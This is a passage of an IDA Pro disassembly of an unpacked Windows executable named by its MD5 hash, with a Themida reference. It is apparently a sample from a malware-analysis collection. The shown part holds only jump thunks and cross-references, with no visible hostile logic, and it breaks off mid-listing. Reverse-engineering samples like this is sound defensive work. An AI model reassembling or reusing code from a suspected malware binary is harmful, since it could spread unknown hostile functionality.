;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	46108E8E2D8C9FDED1E7F6910A976388

; File Name   :	u:\work\46108e8e2d8c9fded1e7f6910a976388_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000	db 5 dup(0CCh)		; DATA XREF: sub_60E129+13Dr
					; sub_60E129+14Ao ...
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: sub_40B170+4Dp
					; sub_40B170+5Ap ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; DATA XREF: Themida_:loc_60FB46w
		jmp	sub_41FBD0
sub_401069	endp

; ---------------------------------------------------------------------------
		db 0E9h	; 		; CODE XREF: sub_40BF60+32p
		db 0ADh	; 
		db 0B0h	; 
		db 2 dup(0), 0E9h
; ---------------------------------------------------------------------------
		sbb	[edx+1], dh
		add	cl, ch		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		inc	ebx
		push	ecx
		add	[eax], eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B8	proc near		; CODE XREF: sub_413220+54p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: ___:0040C17Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	loc_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; ___:004161D8p
		jmp	sub_4167D0
sub_4012CB	endp

; ---------------------------------------------------------------------------


loc_4012D0:				; DATA XREF: sub_431280+32o
		jmp	loc_431A80
; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BD9p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401384	proc near		; CODE XREF: sub_418490+72p
		jmp	sub_406C30
sub_401384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


